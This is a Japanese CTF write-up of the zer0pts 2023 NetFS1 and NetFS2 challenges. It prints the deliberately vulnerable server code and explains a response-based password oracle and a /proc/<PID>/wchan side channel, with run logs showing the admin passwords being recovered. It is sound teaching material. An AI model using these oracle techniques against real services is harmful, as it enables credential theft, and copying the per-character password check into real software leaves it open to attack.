---
# System prepended metadata

title: zer0pts CTF 2023 NetFS1/NetFS2 writeup
tags: [ctf, writeup]

---

公式のWriteupは[こちら](https://github.com/zer0pts/zer0pts-ctf-2023-public/tree/master)
# NetFS1
###### `misc`
![image](https://hackmd.io/_uploads/rJI_aZoR0.png)

:::spoiler 問題のソースコード(クリックで展開)
```python=
#!/usr/bin/env python3
import multiprocessing
import os
import signal
import socket
import re

assert os.path.isfile("secret/password.txt"), "Password file not found."

MAX_SIZE = 0x1000
LOGIN_USERS = {
    b'guest': b'guest',
    b'admin': open("secret/password.txt", "rb").read().strip() # この時点でfdは一度閉じられる. 値を読んでいるからメモリには存在している. 
}
PROTECTED = [b"server.py", b"secret"] # そもそもなぜserver.pyもPROTECEDなのだろう？問題配っているんだから, server.pyっていらなくない？(書き込み無いし)

assert re.fullmatch(b"[0-9a-f]+", LOGIN_USERS[b'admin'])

class Timeout(object):
    def __init__(self, seconds):
        self.seconds = seconds

    def handle_timeout(self, signum, frame):
        raise TimeoutError('Timeout')

    def __enter__(self):
        signal.signal(signal.SIGALRM, self.handle_timeout)
        signal.alarm(self.seconds)
        return self

    def __exit__(self, _type, _value, _traceback):
        signal.alarm(0)

class PyNetworkFS(object):
    def __init__(self, conn):
        self._conn = conn
        self._auth = False
        self._user = None

    def __del__(self):
        self._conn.close()

    @property
    def is_authenticated(self):
        return self._auth

    @property
    def is_admin(self):
        return self.is_authenticated and self._user == b'admin'

    def response(self, message):
        self._conn.send(message)

    def recvline(self):
        data = b''
        while True:
            match self._conn.recv(1):
                case b'': return None
                case b'\n': break
                case byte: data += byte
        return data

    def authenticate(self):
        username = password = b''
        with Timeout(30):
            # Receive username
            self.response(b"Username: ")
            username = self.recvline()
            if username is None: return

            if username in LOGIN_USERS: 
                password = LOGIN_USERS[username]
            else:
                self.response(b"No such a user exists.\n")
                return

        with Timeout(30):
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1) # Bug: 一文字ずつrecvしながら検証し, 違っていたら即座にreturn
                if c == b'':
                    return
                elif c != password[i:i+1]:
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                self.response(b"Incorrect password.\n")
                return

        self.response(b"Logged in.\n")
        self._auth = True
        self._user = username

    def serve(self):
        """Serve files"""
        with Timeout(60):
            while True:
                # Receive filepath
                self.response(b"File: ")
                filepath = self.recvline()
                if filepath is None: return

                # Check filepath
                # guestでログインしている場合, b"server.py", b"secret"のどちらかが入力に含まれているとだめ. 
                if not self.is_admin and \
                   any(map(lambda name: name in filepath, PROTECTED)):
                    self.response(b"Permission denied.\n")
                    continue

                # Serve file
                try:
                    f = open(filepath, 'rb')
                except FileNotFoundError:
                    self.response(b"File not found.\n")
                    continue
                except PermissionError:
                    self.response(b"Permission denied.\n")
                    continue
                except:
                    self.response(b"System error.\n")
                    continue

                try:
                    self.response(f.read(MAX_SIZE))
                except OSError:
                    self.response(b"System error.\n")
                finally:
                    f.close()

def pynetfs_main(conn):
    nfs = PyNetworkFS(conn)
    try:
        nfs.authenticate()
    except TimeoutError:
        nfs.response(b'Login timeout.\n')

    if nfs.is_authenticated:
        try:
            nfs.serve()
        except TimeoutError:
            return

if __name__ == '__main__':
    # Setup server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)

    print("Listening on 0.0.0.0:10021")
    sock.bind(('0.0.0.0', 10021))
    sock.listen(16)

    # Handle connection
    ps = []
    while True:
        conn, addr = sock.accept()
        ps.append(multiprocessing.Process(target=pynetfs_main, args=(conn,))) 
        ps[-1].start()
        conn.close()
        ps = list(filter(lambda p: p.is_alive() or p.join(), ps))

```
:::
任意のファイルを読み出してくれるサービスが動いている. 
`guest`と`admin`というログインユーザが用意されており, `admin`でログインするためのパスワードを抜き出す問題である. 
`admin`のパスワードを抜き出しログインできれば, `secret/flag.txt`を読み出すことができる. 

## バグ解析
コメントにも書いているが,パスワードの検証を一文字ずつ行っている.
```python!
        with Timeout(30):
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1) # Bug: 一文字ずつrecvしながら検証し, 違っていたら即座にreturn
                if c == b'':
                    return
                elif c != password[i:i+1]:
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                self.response(b"Incorrect password.\n")
                return
```
`password[i]`が誤っていた場合に, `Incorrect password.`を出力して, 即座に接続を切断するため, この問題はタイミング攻撃に対する脆弱性が存在する. 
:::info
`guest`でログインしたあとに,`/proc`配下のファイルから頑張って,`secret/`を読み出す系の問題だと思っていたが違った(netfs2がそんな感じ)
:::
## Exploit
とくに言うことはない. 1文字送って`Incorrect password`が帰ってきた場合と, 帰ってこなかった場合で, 成否を判定する. 
{%gist 1u991yu24k1/e650649a04e9e4b7675de0cf19a864be %}
```shell!
root@Ubu2204x64:netfs# ./x.py r
[*] remote-> misc.2023.zer0pts.com 10021
try login admin by password: b'd'
try login admin by password: b'dd'
try login admin by password: b'dd7'
try login admin by password: b'dd79'
try login admin by password: b'dd79e'
try login admin by password: b'dd79ef'
try login admin by password: b'dd79efc'
try login admin by password: b'dd79efc4'
try login admin by password: b'dd79efc40'
try login admin by password: b'dd79efc409'
try login admin by password: b'dd79efc4093'
try login admin by password: b'dd79efc4093c'
try login admin by password: b'dd79efc4093c9'
try login admin by password: b'dd79efc4093c93'
try login admin by password: b'dd79efc4093c932'
try login admin by password: b'dd79efc4093c9326'

 zer0pts{d0Nt_r3sp0nd_t00_qu1ck}
root@Ubu2204x64:netfs# 
```
# NetFS2
###### `misc`, `procfs`
![image](https://hackmd.io/_uploads/r1qF6WjAC.png)

:::spoiler 問題のソースコード(クリックで展開)
```python=
#!/usr/bin/env python3
import multiprocessing
import os
import random
import signal
import socket
import time
import re

assert os.path.isfile("secret/password.txt"), "Password file not found."

MAX_SIZE = 0x1000
LOGIN_USERS = {
    b'guest': b'guest',
    b'admin': open("secret/password.txt", "rb").read().strip()
}
PROTECTED = [b"server.py", b"secret"]

assert re.fullmatch(b"[0-9a-f]+", LOGIN_USERS[b'admin'])

class Timeout(object):
    def __init__(self, seconds):
        self.seconds = seconds
        self.start = None

    def handle_timeout(self, signum, frame):
        raise TimeoutError('Timeout')

    def wait(self):
        signal.alarm(0) 
        while time.time() - self.start < self.seconds: 
            time.sleep(0.1) 
        time.sleep(random.random()) # 5+α(α: 0~1.0sec)待ち受ける. 

    def __enter__(self):
        signal.signal(signal.SIGALRM, self.handle_timeout)
        signal.alarm(self.seconds)
        self.start = time.time()
        return self

    def __exit__(self, _type, _value, _traceback):
        signal.alarm(0)
        time.sleep(random.random())

class PyNetworkFS(object):
    def __init__(self, conn):
        self._conn = conn
        self._auth = False
        self._user = None

    def __del__(self):
        self._conn.close()

    @property
    def is_authenticated(self):
        return self._auth

    @property
    def is_admin(self):
        return self.is_authenticated and self._user == b'admin'

    def response(self, message):
        self._conn.send(message)

    def recvline(self):
        data = b''
        while True:
            match self._conn.recv(1):
                case b'': return None
                case b'\n': break
                case byte: data += byte
        return data

    def authenticate(self):
        """Login prompt"""
        username = password = b''
        with Timeout(5):
            # Receive username
            self.response(b"Username: ")
            username = self.recvline()
            if username is None: return

            if username in LOGIN_USERS:
                password = LOGIN_USERS[username]
            else:
                self.response(b"No such a user exists.\n")
                return

        with Timeout(5) as timer:
            # Receive password
            self.response(b"Password: ")
            i = 0
            
            while i < len(password):
                c = self._conn.recv(1) 
                if c == b'':
                    timer.wait() # ここで5秒 + random.random()待ち受ける. 
                    self.response(b"Incorrect password.\n")
                    return
                elif c != password[i:i+1]:
                    timer.wait() # ここで5秒 + random.random()待ち受ける. 
                    self.response(b"Incorrect password.\n")
                    return
                # ここにはtimer.waitがない. →次の文字のrecv待ちになるか, 5秒きっかりでTimeoutする. 
                i += 1

            if self._conn.recv(1) != b'\n':
                timer.wait()
                self.response(b"Incorrect password.\n")
                return

        self.response(b"Logged in.\n")
        self._auth = True
        self._user = username

    def serve(self):
        """Serve files"""
        with Timeout(30):
            while True:
                # Receive filepath
                self.response(b"File: ")
                filepath = self.recvline()
                if filepath is None: return

                # Check filepath
                if not self.is_admin and \
                   any(map(lambda name: name in filepath, PROTECTED)):
                    self.response(b"Permission denied.\n")
                    continue

                # Serve file
                try:
                    f = open(filepath, 'rb')
                except FileNotFoundError:
                    self.response(b"File not found.\n")
                    continue
                except PermissionError:
                    self.response(b"Permission denied.\n")
                    continue
                except:
                    self.response(b"System error.\n")
                    continue

                try:
                    self.response(f.read(MAX_SIZE))
                except OSError:
                    self.response(b"System error.\n")
                finally:
                    f.close()

def pynetfs_main(conn):
    nfs = PyNetworkFS(conn)
    try:
        nfs.authenticate()
    except TimeoutError:
        nfs.response(b'Incorrect password.\n')

    if nfs.is_authenticated:
        try:
            nfs.serve()
        except TimeoutError:
            return

if __name__ == '__main__':
    # Setup server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)

    print("Listening on 0.0.0.0:10022")
    sock.bind(('0.0.0.0', 10022))
    sock.listen(16)

    # Handle connection
    ps = []
    while True:
        conn, addr = sock.accept()
        ps.append(multiprocessing.Process(target=pynetfs_main, args=(conn,)))
        ps[-1].start()
        conn.close()
        ps = list(filter(lambda p: p.is_alive() or p.join(), ps))

```
:::
前の問題に比べて, 以下の点が異なる. 
1. ランダム時間での待機(sleep)が実装されている. 
    - 間違っていた場合, 5秒+random.random()時間の待機が発生する.
    - ![image](https://hackmd.io/_uploads/r1SsaWiAA.png)
2. タイムアウトの時間が短くなっている.
    - 60秒から30秒に変更された. 
3. エラーメッセージが全て, "Incorrect Password"になっている. 
    - エラーメッセージをオラクルに使えない. 

前の問題で使えていた, タイムアウトの時間に依存したタイミング攻撃は使用することができない. 
しかし, 前問同様, 1文字ずつ検証しているため何らかの情報を使ったタイミング攻撃と推測できる.

大会中は, 複数文字を送信したときの待機時間の差分によって`password[i]`の成否判別可能では？と考えていたのだが, 結局うまく行かず諦めた. 

大会が終わってDiscordを見ていたのだが, この問題は`/proc/<PID>/wchan`というファイルをリーク情報として使用するのが想定解だったらしい. 
![image](https://hackmd.io/_uploads/r1sa6-o0C.png)

`/proc/<PID>/wchan`はそのプロセスが待機状態だった場合に, カーネル内のどの処理で待機しているか？を表示するためのファイル. 
> wchanを使うことに気づけたかは怪しいが, よくよく考えてみれば, プロセスのサイドチャネルを利用する場合は `/proc/self/`配下のファイルを使うというのは定石なので, `/proc`に気づけなかったのは痛い. 

## `/proc/<PID>/wchan`
例えば, 以下の2つのコードを比べてみる. 

:::spoiler wchan_poc1.c
```c=
#define _GNU_SOURCE
#include <unistd.h>

int main(int argc, char **argv) {
    unsigned int a = 0;
    while(1)
        a = (a+1) % 0x200;
    return 0;
}
```
:::

:::spoiler wchan_poc2.c
```c=
#define _GNU_SOURCE
#include <unistd.h>

int main(int argc, char **argv) {
    char buf[0x10] = {'\0'};
    long nbytes = 0L;
    while(1)
        write(1, buf, read(0, buf, 0x10));
    return 0;
}
```
:::

どちらも無限ループで処理を行う. 
poc1の方は単純な算術演算を回しているだけなので、処理はとくにブロックしない. 
しかし, `poc2`の方は`read`によるブロッキング処理が入るため, 入力待ち状態になる. 

上記のプログラムをそれぞれコンパイルして, `/proc/<PID>/wchan`を見てみる. 
`wchan_poc1`の方から見ていこう.
```shell=
[Terminal1]
root@Ubu2204x64:netfs# ./wchan_poc1 
(何も表示されない)
:

[Terminal2]
root@Ubu2204x64:netfs# cat /proc/$(pidof wchan_poc1)/wchan 
0root@Ubu2204x64:netfs#
↑0が表示されている. 
```

次に`wchan_poc2`でも同じことを実施すると`/proc/<PID>/wchan`の中身が異なっている事がわかる. 
```shell=
[Terminal1]
root@Ubu2204x64:netfs# ./wchan_poc2
: (readで, 入力待ち受け)

[Terminal2]
root@Ubu2204x64:netfs# cat /proc/$(pidof wchan_poc2)/wchan 
★wait_woken★root@Ubu2204x64:netfs# 
 ↑ここの表示が違っている. 
```
つまりそのプロセスがユーザランド内で閉じた処理を行っている場合(State=Running)は, wchanは`0`を表示し, 外部IO待ちになっている場合(read/recvで入力を待ち受けたり, `write`/`send`で書き出し待ちの場合)は, `wait_woken`を表示する. 

## Exploit方針
ブロッキング待ちが走っているかどうかで`wchan`の値が異なることを使って, パスワードを推測する. `password[i]`があっていた場合は, `timer.wait()`せずに即座に次の文字を`recv`するため`wchan`は`wait_woken`になる. 
今回の問題では, 誤っていた場合は`wchan`が`hrtimer_nanosleep`を返す. 
> `hrtimer_nanosleep`は, sleepしている場合のカーネル内の関数っぽい. 

方針としては以下の通り.
1. guest用・admin用に2つ接続する.
2. Guest用のセッションでログイン
3. admin用のセッションでは, 一文字だけパスワード候補の文字を送信
4. Guestのセッションからadmin用の`/proc/<PID>/wchan`を読み出し.
    - `hrtimer_sleep`になっていれば間違っているので1からやり直し. 
    - `wait_woken`になっていれば, その文字を`password[i]`として確定する. 

これをパスワード長分繰り返せば良い. naiveに実装してみたコードが以下. 
{%gist 1u991yu24k1/a806ac1fba2457bd1219b04db2439276 %}

上記のコードは, ローカル環境に対しては80~90%近い確率でパスワードが抽出できるが, 
リモートに実施するとほとんどうまく行かない. 
これは, `<admin用接続のPID>`=`<guest用接続のPID + 1>`という"雑な"推測をしてしまっているため, 手順の4で`/proc/<PID>/wchan`を読みに行く場合の`PID`が正しく推測できないことが原因だ. 
> リモートのサーバでは自分以外の接続が多数存在するため, 自分のadmin接続に紐づいたPIDである可能性が低い.

これを解決するために, 私は`/proc/<PID>/net/tcp`の`rem_address`に自分のグローバルIPがあるかどうかを, 判定に使用した. 
以下は, ローカルで, `admin`セッションを繋いだときの, `/proc/<pid_for_admin_session>/net/tcp`の値. 
```
ctf@8d38c163d5bb:~$ cat /proc/4347/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:2725 00000000:0000 0A 00000000:00000000 00:00000000 00000000   999        0 37401 1 0000000000000000 100 0 0 10 0                     
   1: 0B00007F:8535 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 37388 1 0000000000000000 100 0 0 10 0                     
   2: 020016AC:2725 010016AC:D42A 01 00000000:00000000 00:00000000 00000000   999        0 69960 1 0000000000000000 20 4 29 10 -1 
                    ↑これがサーバから見た自分のIPアドレス(172.22.0.1)
ctf@8d38c163d5bb:~$ 
```
あとは[CMAN](https://www.cman.jp/network/support/go_access.cgi)とかで自分のグローバルIPを確認すればよい. 
公式のWriteupでは, Guestの`pid`から`/proc/self/status`の`tgid`を読み出し, そこからadminセッションのPIDを推測している. 
:::success
今回はうまくいったが, 問題サーバに通信が到達する前段にロードバランサやらリバースプロキシを入れて送信元IPが変更されている場合は, 私の方法は使えないので注意. 
:::
## Exploit 
writeupは以下の通り. 

{%gist 1u991yu24k1/6f2a9bdc2188783460d654c5e941aa8b %}

実行した結果は以下. 
```shell=
root@Ubu2204x64:netfs2# ./x.py r
[*] remote-> misc.2023.zer0pts.com 10022
[*] found pid of admin session: 233046
password : 0
[*] found pid of admin session: 233048
[*] found pid of admin session: 233050
[*] found pid of admin session: 233052
password : 02
[*] found pid of admin session: 233054
[*] found pid of admin session: 233056
[*] found pid of admin session: 233058
[*] found pid of admin session: 233060
[*] found pid of admin session: 233062
[*] found pid of admin session: 233064
[*] found pid of admin session: 233066
[*] found pid of admin session: 233068
[*] found pid of admin session: 233070
password : 028
[*] found pid of admin session: 233072
[*] found pid of admin session: 233074
[*] found pid of admin session: 233076
[*] found pid of admin session: 233078
[*] found pid of admin session: 233080
[*] found pid of admin session: 233082
[*] found pid of admin session: 233084
[*] found pid of admin session: 233086
password : 0287
[*] found pid of admin session: 233088
[*] found pid of admin session: 233090
[*] found pid of admin session: 233092
password : 02872
[*] found pid of admin session: 233094
[*] found pid of admin session: 233096
[*] found pid of admin session: 233098
[*] found pid of admin session: 233100
[*] found pid of admin session: 233102
[*] found pid of admin session: 233104
[*] found pid of admin session: 233106
[*] found pid of admin session: 233108
[*] found pid of admin session: 233110
[*] found pid of admin session: 233112
[*] found pid of admin session: 233114
[*] found pid of admin session: 233116
[*] found pid of admin session: 233118
[*] found pid of admin session: 233120
[*] found pid of admin session: 233122
[*] found pid of admin session: 233124
password : 02872f
[*] found pid of admin session: 233126
[*] found pid of admin session: 233128
[*] found pid of admin session: 233130
[*] found pid of admin session: 233132
[*] found pid of admin session: 233134
[*] found pid of admin session: 233136
password : 02872f5
[*] found pid of admin session: 233138
[*] found pid of admin session: 233140
[*] found pid of admin session: 233142
[*] found pid of admin session: 233144
[*] found pid of admin session: 233146
[*] found pid of admin session: 233148
[*] found pid of admin session: 233150
[*] found pid of admin session: 233152
[*] found pid of admin session: 233154
[*] found pid of admin session: 233156
[*] found pid of admin session: 233158
password : 02872f5a
[*] found pid of admin session: 233160
[*] found pid of admin session: 233162
[*] found pid of admin session: 233164
[*] found pid of admin session: 233166
[*] found pid of admin session: 233168
[*] found pid of admin session: 233170
[*] found pid of admin session: 233172
[*] found pid of admin session: 233174
[*] found pid of admin session: 233176
[*] found pid of admin session: 233178
[*] found pid of admin session: 233180
[*] found pid of admin session: 233182
[*] found pid of admin session: 233184
[*] found pid of admin session: 233186
[*] found pid of admin session: 233188
password : 02872f5ae
[*] found pid of admin session: 233190
password : 02872f5ae0
[*] found pid of admin session: 233192
[*] found pid of admin session: 233194
[*] found pid of admin session: 233196
[*] found pid of admin session: 233198
[*] found pid of admin session: 233200
[*] found pid of admin session: 233202
[*] found pid of admin session: 233204
[*] found pid of admin session: 233206
[*] found pid of admin session: 233208
password : 02872f5ae08
[*] found pid of admin session: 233210
[*] found pid of admin session: 233212
password : 02872f5ae081
[*] found pid of admin session: 233214
[*] found pid of admin session: 233216
[*] found pid of admin session: 233218
[*] found pid of admin session: 233220
[*] found pid of admin session: 233222
[*] found pid of admin session: 233224
[*] found pid of admin session: 233226
[*] found pid of admin session: 233228
[*] found pid of admin session: 233230
[*] found pid of admin session: 233232
password : 02872f5ae0819
[*] found pid of admin session: 233234
[*] found pid of admin session: 233236
[*] found pid of admin session: 233238
[*] found pid of admin session: 233240
[*] found pid of admin session: 233242
[*] found pid of admin session: 233244
[*] found pid of admin session: 233246
[*] found pid of admin session: 233248
[*] found pid of admin session: 233250
[*] found pid of admin session: 233252
[*] found pid of admin session: 233254
[*] found pid of admin session: 233256
[*] found pid of admin session: 233258
[*] found pid of admin session: 233260
password : 02872f5ae0819d
[*] found pid of admin session: 233262
[*] found pid of admin session: 233264
[*] found pid of admin session: 233266
password : 02872f5ae0819d2
[*] found pid of admin session: 233268
[*] found pid of admin session: 233270
[*] found pid of admin session: 233272
[*] found pid of admin session: 233274
[*] found pid of admin session: 233276
[*] found pid of admin session: 233278
[*] found pid of admin session: 233280
[*] found pid of admin session: 233282
[*] found pid of admin session: 233284
[*] found pid of admin session: 233286
[*] found pid of admin session: 233288
[*] found pid of admin session: 233290
[*] found pid of admin session: 233292
[*] found pid of admin session: 233294
[*] found pid of admin session: 233296
[*] found pid of admin session: 233298
password : 02872f5ae0819d2f
admin password : 02872f5ae0819d2f
b'zer0pts{pr0cfs_1s_5uch_4_n1c3_0r4cl3_5d17c4e}'
root@Ubu2204x64:netfs2# 
```